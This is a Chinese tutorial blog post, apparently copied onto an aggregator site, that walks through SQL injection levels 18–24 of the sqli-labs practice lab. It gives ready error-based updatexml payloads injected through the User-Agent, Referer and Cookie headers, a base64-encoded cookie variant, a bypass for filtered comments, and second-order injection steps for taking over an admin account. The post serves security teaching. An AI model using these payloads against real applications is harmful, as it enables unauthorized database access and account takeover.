当前位置: 首页 > news >正文

以sqlilabs靶场为例,讲解SQL注入攻击原理【18-24关】

【less-18】

打开时,获取了自己的IP地址。,通过分析源码知道,会将用户的user-agent作为参数记录到数据库中。

提交的是信息有user-Agent、IP、uname信息。

此时可以借助Burp Suite 工具,修改user_agent,实现sql注入。

最后得到数据库名:security。

解题步骤:

//第一步获取数据库名
' and updatexml(1,concat(0x7e,(select database()),0x7e),1),1,1) -- +  //第二步获取数据表名
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1),1,1) -- + //第三步获取数据表字段
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails' ),0x7e),1),1,1) -- +

【less-19】

与less-18,唯一的区别是,提交的信息不再是user-agent,而是referer。

解题步骤:

//第一步获取数据库名
' and updatexml(1,concat(0x7e,(select database()),0x7e),1),1) -- +  //第二步获取数据表名
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1),1,1) -- + //第三步获取数据表字段
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails' ),0x7e),1),1,1) -- +

【less-20】

从上图的信息可以看出登录之后,记录的信息是类似的,根据前两题的经验,尝试使用user-agent、referr、cookie信息进行注入。

经过验证将抓包的cookie进行更改

改为:

结果为:

其他步骤:

# 第二步获取数据表名
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) -- + # 第三步获取数据表字段
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails' ),0x7e),1) -- +

【less-21】

通过抓包和源码分析可以得出:less-21使用的是cookie,而且还是base64加密的。

和Less-20注入原理相同,不同的是在修改cookie时,先转成base64的值。

先将注入编码进行base64编码。

然后再把编制的码代入到cookie中。

出现错误,是因为“-- +”在进行base64编码时出现了问题。

可以将“-- +” 替换为 '1' = '1

具体代码:

admin 'and updatexml(1,concat(0x7e,(select database(),0x7e),1) -- +#改为admin 'and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1#对应的base64编码YWRtaW4gJ2FuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpLDEpIGFuZCAnMSc9JzE=

调试结果:

其他步骤和Less-20类似,区别都是要变成base64加密。

# 第二步获取数据表名
admin' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) and '1'='1# 第三步获取数据表字段
admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails' ),0x7e),1) and '1'='1

【less-22】

通过分析源码得知,基本Less-21相似,唯一的区别就是单引号变成了双引号。

解题步骤和Less-21相同。

#第一步获取数据库admin "and updatexml(1,concat(0x7e,(select database()),0x7e),1) and "1"="1# 第二步获取数据表名
admin" and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) and "1"="1# 第三步获取数据表字段
admin" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="emails" ),0x7e),1) and "1"="1

结果:

【less-23】

less-23是一种GET方式的注入,使用之前的方式,发现无法注入,分析源码,得知之前用的 注释(-- 和# 都被替换了空)。

此时尝试一种新的注释方式: '1' ='1 以消除原本SQL语句中的引号。

解题方法:

# 获取数据库名
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1# 获取数据表名
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()limit 0,1),0x7e),1) or '1'='1# 获取数据字段
' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),0x7e),1) or '1'='1

结果为:

【less-24】

less24是一个二次注入的案例。

分析源码:

可以看出只有用户名(username)没有用mysql_real_escape_string()对特殊字符进行转义。

解题步骤:

1.注册admin用户

2.登录并修改admin密码

3.尝试使用admin账号和新密码登录,破解管理员账号。

http://www.lryc.cn/news/363843.html

相关文章:

  • 【已有项目版】uniapp项目发版pda -- Android Studio
  • 三维重建,谁才是顶流?
  • s32k314【入门新手篇】-开发环境安装【ds32开发平台】
  • DiffBIR论文阅读笔记
  • 基于STM32的位置速度环PID控制伺服电机转动位置及程序说明
  • 操作失败——后端
  • 基于SSM的“学校访客登记系统”的设计与实现(源码+数据库+文档)
  • linux配置IP、子网掩码、网关
  • Java 垃圾回收
  • 多客陪玩系统-开源陪玩系统平台源码-支持游戏线上陪玩家政线下预约等多场景应用支持H5+小程序+APP
  • 书生·浦语大模型全链路开源体系-笔记作业2
  • 手把手教你发布你的第一个npm插件包
  • Docker-compose 编排lnmp(dockerfile) 完成Wordpress
  • 秋招突击——算法打卡——5/28——复习{Z字形变换、两数之和}——新做:{整数反转、字符串转整数}
  • PPT设置为本框的默认格式以及固定文本框
  • 计算机基础(5)——进制与进制转换
  • 发现情绪背后的真实心理需求,选择适合你的情绪调节方式
  • 代理记账公司的五大问题及其解决方案
  • TH方程学习 (7)
  • 2024最新python入门教程|python安装|pycharm安装
  • docker架构
  • 使用Java进行网络采集:代理IP与参数传递详解
  • 多功能光时域反射仪的工作原理
  • 目标检测数据集 - 海洋垃圾检测数据集下载「包含VOC、COCO、YOLO三种格式」
  • 如何进行Java程序的性能优化
  • Echarts柱状图数据太多,自定义长度之后,自适应浏览器缩放
  • 小白级教程—安装Ubuntu 20.04 LTS服务器
  • 9、中华人民共和国个人信息保护法
  • 经典回归模型及Python实现方法
  • Git 保留空文件夹结构